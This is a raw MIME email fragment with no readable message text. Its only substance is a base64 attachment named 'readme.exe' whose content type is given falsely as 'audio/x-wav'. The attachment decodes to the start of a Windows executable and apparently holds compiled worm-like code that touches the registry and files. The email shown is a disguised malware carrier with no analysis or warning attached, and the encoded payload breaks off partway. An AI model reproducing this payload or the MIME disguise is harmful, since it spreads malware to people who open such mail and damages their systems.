type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAM/dCAQAAAB/UEUAAEwBBQB1Oqc7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQA4CgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAKEcAAACQAAAAIAAAAJAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAAAAAAAAAAAAAAAAAABAAABALnJl bG9jAABGCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IHsTAcA AFNWVzP/aAwCAACNhbT8//9XUOjEYwAAg8QM/xVcgBc2gKW3/P//f2oBW2aJhbT8//9TiJ22/P// /xU4rBc2V2aJhbj8////FTisFzZXZomFuvz///8VOKwXNldmiYW+/P///xU4rBc2/3UIZomFvPz/ /42FwPz//1DoAgIAAFk7x1kPjIgAAABqD420BcD8////FTisFzZmiQZGU0b/FTisFzZmiQaNhbT8 //8r8GoQRo1F5EZXUIl1/OgcYwAAahCNRdRXUOgQYwAAi0UMg8QYZsdF5AIAiUXoajX/FTisFzZX agJqAmaJReb/FVysFzaL8IP+/3QYjUXkahBQVv8VWKwXNoXAdCBW/xU8rBc2aAABAAD/dQj/dRD/ FTCBFzaDxAzpRQEAAIl9DGoIjUX0V1Doo2IAAIPEDI1F9MdF9B4AAACJtcT+//9QjYXA/v//V1BX V4mdwP7///8VQKwXNjvHD4TcAAAAg/j/D4TTAAAAjYXA/v//UFb/FWCsFzaFwA+EvQAAAFeNhbT8 ////dfxQVv8VSKwXNjtF/A+FogAAAGoQjUXEV1DoK2IAAIPEDI1F9Im1xP7//4mdwP7//1BXjYXA /v//V1BX/xVArBc2O8d0b4P4/3RqjYXA/v//UFb/FWCsFzaFwHRYV42FtPj//2gABAAAUFb/FVCs FzaD+AxyP2aLhbT4//9mO4W0/P//dS+Enbb8//90CfaFt/j//4B0K/aFtvz//wJ1Iv91EI2FtPj/ /1Do0QAAAFmFwFl1L/9FDIN9DAQPjNn+//9oAAEAAP91CP91EP8VMIEXNoPEDFb/FTysFzYzwF9e W8nDVv8VPKwXNovD6/BVi+yB7AQCAABmoRCQFzZWV2gAAgAA/3UMZolF/o2F/P3//zP/UP8VMIEX No1F/lCNhfz9//9Q/xVwgRc2g8QUiUUMhcB0PYt1CFP/dQzoFGEAAP91DIvYjUYBiB5Q6P5gAACN Rf6NdB4BUGoAjXwfAf8VcIEXNoPEFIlFDIXAdcpb6wOLdQiAJgCNRwFfXsnDVYvsgewcAwAAU1aL dQhXiXX49kYDD3VQZoN+BgCNfgaJffR0Q2aLRgSNXgRQ/xU0rBc2ZokDZosHUP8VNKwXNmaJB2aL RghQ/xU0rBc2ZolGCGaLRgpQ/xU0rBc2ZolGCjPAZjkHdQczwOkAAQAAg8YMZjkDiUUIdlLrAjPA iUXwiUX8oBSkFzZqP4iF8P7//1kzwI298f7///OrZquqjUX8UI1F8FCNhfD+//9QVv91+OhvAQAA A/CDxBQPtwP/RQg5RQh8tYt99DPAM9tmOQeJRQgPhpIAAACNheT8//9QVv91+OiLAQAAg8QMA/D/ te79////FTSsFzaJRfygFKQXNmo/iIXw/v//WTPAjb3x/v//86tmq6qNhfD+//9QjYXw/f//UP91 +OhFAAAAg8QMhdt0CA+3Rfw72H4cD7dd/I2F8P7//2gAAQAAUP91DP8VMIEXNoPEDItF9P9FCA+3 ADlFCA+Mbv///2oBWF9eW8nDVYvsgewEAgAAoBSkFzZTVldqf4iF/P3//1kzwI29/f3//4tdEPOr ZquF26p1Bo2d/P3//4NlEACDZfwAi3UMigaEwHRbqMB0J2aLBmYlP/9Q/xU0rBc2D7fwA3UIg338 AHXcg0UQAsdF/AEAAADrzw+2+I1GAVdQU+jqXgAAjQQfg8QMg338AMYALo1YAXUKi0UQjUQ4AYlF EI10PgHrn4AjAIN9/ACLRRBfXlt1AUDJw1WL7FNWi3UMV/91EFb/dQjoOf///4tdFIv4g8QMA/eF 23QNZosGUP8VNKwXNmaJA4tdGEdHhdt0DmaLRgJQ/xU0rBc2ZokDjUcCX15bXcNVi+xTVot1EFeF 9nQQaAwCAABqAFboO14AAIPEDIt9DFZX/3UI6NX+//+L2IPEDAP7hfZ0EWaLB1D/FTSsFzZmiYYA AQAAR0dDQ4X2dBFmiwdQ/xU0rBc2ZomGAgEAAEdHQ0OF9nQO/zf/FTCsFzaJhgQBAABmi0cEg8cE UIPDBP8VNKwXNoX2iUUQdAdmiYYIAQAAQ0OF9nQXD7fAg8cCUIHGCgEAAFdW6LldAACDxAwPt0UQ XwPDXltdw1WL7IHsmAYAAFMz2zkdsKwXNoidaP///w+EUgEAAI1F6Ild6FCNRfxQU2g/AA8AU1NT aIyQFzZoAgAAgP8VFIAXNoXAD4W5AQAAVlNTU41F7Is1GIAXNlNQjYVo/f//x0Xs/wAAAFBT/3X8 iV30/9aFwA+F6QAAAI2FaP7//2hMkBc2UOgWXQAAjYVo/f//UI2FaP7//1DoFV0AAIPEEI1F+FBo PwAPAI2FaP7//1NQaAIAAID/FRyAFzaFwHVCjUXwx0XwAAQAAFCNhWj5//9QU1NoQJAXNv91+Iid aPn///8VIIAXNo2FaPn//1DoslwAAIXAWXUt/3X4/xUQgBc2/0X0U1NTjUXsU1CNhWj9//9Qx0Xs /wAAAP919P91/OlJ////jYVo+f//aixQ/xVogRc2WTvDWXQCiBiNhWj5//9ogAAAAFCNhWj///9Q /xUwgRc2g8QM/3X4/xUQgBc2/3X8/xUQgBc2XumTAAAAjUX8UGg/AA8AU2gUkBc2aAIAAID/FRyA FzaFwHV1jUXwx0XwAAQAAFCNhWj5//9QU1NoQJAXNv91/IidaPn///8VIIAXNo2FaPn//1Do41sA AIXAWXQzjYVo+f//aixQ/xVogRc2WTvDWXQCiBiNhWj5//9ogAAAAFCNhWj///9Q/xUwgRc2g8QM /3X8/xUQgBc2OJ1o////W3QSjYVo////UP8VKKwXNqMQpBc2agFYycNWi3QkCIX2dBZW6HNbAACF wFl0C4B8MP9cjUQw/3QEM8Bew4AgAGoBWF7DVYvsgewEBAAAU1cz/zk9sKwXNnQUagRX/3UI/xVw gBc2agFY6d0AAACNhfz7//9ouLAXNlDoF1sAAI2F/Pv//2gQlBc2UOgYWwAAg8QQjYX8+///V2iA AAAAagRXV2gAAABAUP8VbIAXNovYg/v/D4SPAAAAVmoCV1dT/xVogBc2jYX8+///aACUFzZQ6L9a AABZjUX8WVdQjYX8+///UOiyWgAAizVkgBc2WVCNhfz7//9QU//WjYX8+///aPiTFzZQ6IlaAAD/ dQiNhfz7//9Q6IxaAACDxBCNRfxXUI2F/Pv//1DobFoAAFlQjYX8+///UFP/1lP/FWCAFzZqAVhe 6wIzwF9bycNVi+yB7EABAABWV2iAAAAA/3UI/xV4gBc2M/ZWVmoDVlZoAAAAwP91CP8VbIAXNov4 g///iX34dQczwOmUAAAAU41F/FZQjUW4akBQV4l1/P8VdIAXNlZW/3X0V4s9aIAXNv/XjUX8VlC7 +AAAAI2FwP7//1NQiXX8/3X4/xV0gBc2OXUMdAtmgaXW/v///9/rB4CN1/7//yBWVv919P91+P/X jUX8VlCNhcD+//9TUP91+Il1/P8VZIAXNv91+P8VYIAXNmom/3UI/xV4gBc2agFYW19eycNVi+yB 7AgCAACNRfxWM/ZQaD8ADwBWaDCUFzZoAQAAgMdF+P8BAAD/FRyAFzaFwHQDagFejUX4UI2F+P3/ /1BqAGoAaCSUFzb/dfz/FSCAFzaFwHQDagFehfZedBONhfj9//9oIJQXNlDoAVkAAFlZ/3X8/xUQ gBc2jYX4/f//UOgGAAAAWWoBWMnD/xVggRc2a8Bkmbn/fwAA9/lAo7jUFzb/dCQE6BAAAACD+GNZ dPEzyYXAD5XBi8HDVYvsgexIAQAAU1aDZfwAvgAEAABWagj/NbSsFzb/FXSsFzaL2IXbD4TcAQAA V1b/dQhT/xUwgRc2U+j5/P///3UI6HNYAACLPVSBFzaLzivIUWh8lBc2U//Xg8QgjYW4/v//UFP/ FYSAFzaD+P+JRfh1BzP26X0BAACNheT+//9Q/xVYgRc2jYXk/v//xwQkEJAXNlDoMlgAAFmFwFkP hJsAAACNheT+//9oeJQXNlDoF1gAAFmFwFkPhIAAAAD2hbj+//8QdEJT6OxXAACLzivIUWh0lBc2 U//XU+jZVwAAi84ryI2F5P7//1FQU//XU+gK////g8Qk6d8AAABqY1k7wXU6iU386zWNheT+//9Q 6KRXAACD+ARZdiONheT+//9Q/3UI6OIAAABZWWoBWTvBD4SwAAAAx0X8YwAAAI2FuP7//1D/dfj/ FYCAFzaFwA+ElAAAAI2F5P7//1D/FViBFzaNheT+///HBCQQkBc2UOhVVwAAWYXAWXTCjYXk/v// aHiUFzZQ6D5XAABZhcBZdKv2hbj+//8QD4Rp////Vv91CFP/FTCBFzZT6AhXAACLzivIUWh0lBc2 U//XU+j1VgAAi84ryI2F5P7//1FQU//XU+gm/v//g8QwagFZO8EPhRb///+JTfz/dfj/FXyAFzaL dfxTagD/NbSsFzb/FXCsFzaLxl9eW8nD/w241Bc2eS5WV4s1MIEXNr8ABAAAV/90JBRoGKgXNv/W V/90JBxoGKQXNv/Wg8QYagFYX17DM8DDVYvsgeywAAAAU1ZXvoyUFzaNvVD///9qHaWlpFkzwI29 Wf///zPb86s5HbCsFzZmq6oPhDsBAADodwQAAIv4O/uL9w+EOQEAAI2FUP///1CNRghQ/xWUgBc2 hcB0Cou2EAEAADvzdeE78w+EEgEAAIs2V+hLBAAAWf8VkIAXNjvGD4T7AAAAVlNo/w8fAP8VjIAX Nov4O/sPhOQAAABoAIAAAFP/NaysFzZX/xXY1Rc2oaysFzZqQGgAMAAAi0g8i0wBUFFQV/8V3NUX NjvDiUX8D4SqAAAAjU3UahxRUFf/FdTVFzaDfegBdGG+ABAAAItF4DvDdFX2RekBdTY7w4ld+HYv i138jUXQUGpAVlNX/xXQ1Rc2jUX0UFZTU1f/FYiAFzYBdfiLReAD3jlF+HLWM9sBRfyNRdRqHFD/ dfxX/xXU1Rc2g33oAXWkjUXwUFP/NaysFzZoBR8XNlNTV/8V4NUXNoXAdBhX/xVggBc26w9qAf8V kIAXNlD/FczVFzZfXjPAW8nDgeyUAQAAU1VWV+glKwAAM/9omJQXNldX/xWsgBc2av+L8P8VqIAX NlD/FaSAFzahtKwXNjvHdAdQ/xV4rBc2V2gAAAgAV/8VfKwXNjvHo7SsFzZ1Flb/FWCAFzZfXl0z wFuBxJQBAADCBACNRCQUUGgCAgAA/xVorBc2/xWggBc2UP8VLIEXNlnoNhgAAIsdnIAXNr0wdQAA Vf/TOT2wrBc2dCLoYk8AAKEI1xc2O8d1BGo86wqD+GN1C2jIAAAA6KgNAABZizWYgBc2Vf/TOT2w rBc2dB6DPQjXFzZjdQXoOxMAAFf/NbSsFzb/1ugYLgAA6wXoU0wAAFf/NbSsFzb/1ugRLwAAV/81 tKwXNv/WV+g8TQAAV/81tKwXNv/WOT2wrBc2dA6DPQjXFzZjdAXo6hIAAOhNNAAAV/81tKwXNv/W 6B8AAADHRCQQGAAAAOg2TgAA/0wkEHX1aCC/AgD/0+lk////VYvsgewoAwAAU1aNRfRXUDPbaD8A DwBTaKSVFzZoAQAAgP8VHIAXNoXAdU9qBI1F+F+LNQiAFzZXUFdTaJyVFzaJXfj/dfT/1o1F+FdQ V1NojJUXNv919P/WjUX4V1BXU2iAlRc2/3X0x0X4AQAAAP/W/3X0/xUQgBc2OR2wrBc2D4Q3AQAA U1O+fJUXNmhslRc2v2SVFzZWV1P/FZSsFzZTU2hQlRc2VldT/xWUrBc2U1NoMJUXNlZXU/8VlKwX NlNTaAiVFzZWV1P/FZSsFzZTU2j4lBc2VldT/xWUrBc2sGOIRf/rA4pF/77olBc2jX3YpaWlpIhF 3ohF4VONRdhTUGh8lRc2aGSVFzZT/xWUrBc2/kX/ikX/LGM8GHzIjUX4v/4BAABQaD8ADwBTaKiU FzZoAgAAgMdF8P8AAACJfez/FRyAFzaFwHVxjUXsizUMgBc2UI2F2Pz//1BTjUXwU1CNhdj+//9Q U/91+Ild6P/WhcB1PY2F2P7//1D/dfj/FQCAFzaNRez/RehQjYXY/P//UFONRfBTUI2F2P7//1DH RfD/AAAA/3XoiX3s/3X4673/dfj/FRCAFzZfXlvJw+hDAAAAhcB1AcPpRwAAAFaLdCQIhfZ0LlOL HUiBFzZXi0YEhcB0DYt4BFD/04X/WYvHdfOLvhABAABW/9OF/1mL93XcX1tew+h0AQAA6BICAABq AVjDVYvsgewoAQAAU1aNRexXM9tQU2gE1hc2/zWElBc2x0XsAMgAAOhYBwAA/zXI1Rc2iUXwiV3o UOhpBwAA/zWo1Rc2iUX8UOiNBwAA/3X8iUX0jbXY/v//6K8HAACDxCSL+Ild+Dv7dF2LRfyLTfg7 SCh9UmgUAQAA/xVMgRc2O8NZiYYQAQAAD4TSAAAA/3X0i/BX6IQHAACLAFeJBuiVBwAAUI1GCGjg lRc2UP8VUIEXNleJXgTojQcAAIPEHP9F+Iv465+JnhABAAD/NXDVFzb/dfDozAYAAP81TNUXNolF /FDo8AYAAP91/IlF9OgYBwAAg8QUg2X4AIvYhdt0Y4tN/ItF+DtBKH1Yi0MIi33oM8mFwH4Pi78Q AQAAhf90MEE7yHzxhf90J2oI/xVMgRc2i/BZhfZ0Jv919ItHBIlGBIl3BFPo0QYAAIsAWVmJBlPo 8QYAAP9F+FmL2OudM8DrA4tF6F9eW8nDVYvsg+wYoYSUFzZTix0QgBc2Vle/BAAAgDvHx0X8EgAA AHQDUP/ToYiUFza+AgAAgDvGdANQ/9ONRfyJPYSUFzZQjUXoUIk1iJQXNv8VtIAXNoB96Fx1IoB9 6Vx1HIs9sIAXNo1F6L4Y1hc2UFb/11ZoLNYXNv/X6ySNRei+GNYXNlBo5JUXNlb/FVCBFzaDxAxW aCzWFzb/FbCAFzZfXlvJw1WL7IPsDI1F+FCNRfxQjUX0UP81hJQXNv81iJQXNugrBgAAg8QUhcB0 BYPI/8nDU1ZXaESaFzb/dfj/dfzouwcAAGgwmhc2o8jVFzb/dfj/dfzopgcAAGgcmhc2o8TVFzb/ dfj/dfzokQcAALsQmhc2o8DVFzZT/3X4/3X86HsHAABoBJoXNqO81Rc2/3X4/3X86GYHAABo8JkX NqO41Rc2/3X4/3X86FEHAACDxEi/4JkXNqO01Rc2V/91+P91/Og4BwAAvtCZFzajsNUXNlb/dfj/ dfzoIgcAAGjEmRc2o6zVFzb/dfj/dfzoDQcAAGi0mRc2o6jVFzb/dfj/dfzo+AYAAGikmRc2o6TV Fzb/dfj/dfzo4wYAAGiQmRc2o6DVFzb/dfj/dfzozgYAAIPESKOc1Rc2aICZFzb/dfj/dfzotgYA AGh4mRc2o5jVFzb/dfj/dfzooQYAAGgwmhc2o3DVFzb/dfj/dfzojAYAAGgcmhc2o2zVFzb/dfj/ dfzodwYAAFOjaNUXNv91+P91/OhmBgAAaGiZFzajZNUXNv91+P91/OhRBgAAg8RIo2DVFzZoUJkX Nv91+P91/Og5BgAAaDyZFzajXNUXNv91+P91/OgkBgAAV6NY1Rc2/3X4/3X86BMGAABWo1TVFzb/ dfj/dfzoAgYAAGgwmRc2o1DVFzb/dfj/dfzo7QUAAGggmRc2o0zVFzb/dfj/dfzo2AUAAIPESKNI 1Rc2aBiZFzb/dfj/dfzowAUAAGgQmRc2o0TVFzb/dfj/dfzoqwUAAGgEmRc2o0DVFzb/dfj/dfzo lgUAAGj4mBc2ozzVFzb/dfj/dfzogQUAAGjsmBc2ozjVFzb/dfj/dfzobAUAAGjgmBc2ozTVFzb/ dfj/dfzoVwUAAIPESKMw1Rc2aNSYFzb/dfj/dfzoPwUAAGjEmBc2oyzVFzb/dfj/dfzoKgUAAGi0 mBc2oyjVFzb/dfj/dfzoFQUAAGikmBc2oyTVFzb/dfj/dfzoAAUAAGiMmBc2oyDVFzb/dfj/dfzo 6wQAAGhwmBc2oxzVFzb/dfj/dfzo1gQAAIPESKMY1Rc2aFSYFzb/dfj/dfzovgQAAGg4mBc2oxTV Fzb/dfj/dfzoqQQAAGgcmBc2oxDVFzb/dfj/dfzolAQAAGgAmBc2owzVFzb/dfj/dfzofwQAAGjg lxc2owjVFzb/dfj/dfzoagQAAGjAlxc2owTVFzb/dfj/dfzoVQQAAIPESKMA1Rc2aKCXFzb/dfj/ dfzoPQQAAGiIlxc2o/zUFzb/dfj/dfzoKAQAAGhwlxc2o/jUFzb/dfj/dfzoEwQAAGhYlxc2o/TU Fzb/dfj/dfzo/gMAAKPw1Bc2aECXFzb/dfj/dfzo6QMAAGgolxc2o+zUFzb/dfj/dfzo1AMAAIPE SKPo1Bc2aAyXFzb/dfj/dfzovAMAAGjslhc2o+TUFzb/dfj/dfzopwMAAGjMlhc2o+DUFzb/dfj/ dfzokgMAAGi0lhc2o9zUFzb/dfj/dfzofQMAAGiclhc2o9jUFzb/dfj/dfzoaAMAAGiElhc2o9TU Fzb/dfj/dfzoUwMAAIPESKPQ1Bc2aGyWFzb/dfj/dfzoOwMAAGhUlhc2o8zUFzb/dfj/dfzoJgMA AGg4lhc2o8jUFzb/dfj/dfzoEQMAAGgclhc2o8TUFzb/dfj/dfzo/AIAAGgAlhc2o8DUFzb/dfj/ dfzo5wIAAP81cNUXNos1UIEXNqO81Bc2/zXI1Rc2aPiVFzZoBNYXNv/Wg8RM/zVI1Rc2/zVA1Rc2 /zUc1Rc2aOyVFzZo5NUXNv/Wg8QU/3X0izW4gBc2/9b/dfz/1l9eM8BbycNVi+z/dRSNRRBQ/3UM /3UI6KQCAACDxBD32BvA99AjRRBdw1aLdCQIV1Yz/+gHAwAAO8dZdBs5fhx2FotIDDtMJBB0D1Do /wIAAEdZO34ccuozwF9ew1aLdCQIV1Yz/+j1AgAAO8dZdBs5fiB2FotIBDtMJBB0D1DozAIAAEdZ O34gcuozwF9ew4tMJASFyXQGi0EEA8HDM8DDi0QkCIXAdBCLTCQEhcl0CItAJAMBA8HDM8DDi0wk BIXJdAaLQRADwcMzwMOLRCQEhcB0CYsIA8iLAQPBwzPAw1WL7IPsGItNFFNWi3UQM8BXiQaJAY1N +Is9HIAXNrsZAAIAUVNQaLiaFzaJRfj/dQiJRfT/14XAiUUQD4XPAAAAjUX8x0X8BAAAAFCNRfD/ dRhQagBoqJoXNv91+P8VIIAXNoXAiUUQD4WiAAAAjUX8UI1F6FCNRfBQagBooJoXNv91+P8VIIAX NoXAdCGNRfTHReyUmhc2UFNqAGhYmhc2/3UI/9eFwIlFEHVj6w2LRQzHRexMmhc2iUX0jUX8ix0g gBc2UI1F8GoAUGoA/3Xs/3X0/9OFwIlFEHUz/3X8iz0ogBc2UP/XhcCJBnQai0UYiwCNBIUEAAAA UGpA/9eLTRSFwIkBdUrHRRAIAAAAizaLPbiAFzaF9nQDVv/Xi0UUiwCFwHQDUP/Xg334AIs1EIAX NnQF/3X4/9aLRfSFwHQIO0UMdANQ/9aLRRBfXlvJw41F/FCNRfD/NlBqAP917P919P/ThcCJRRB1 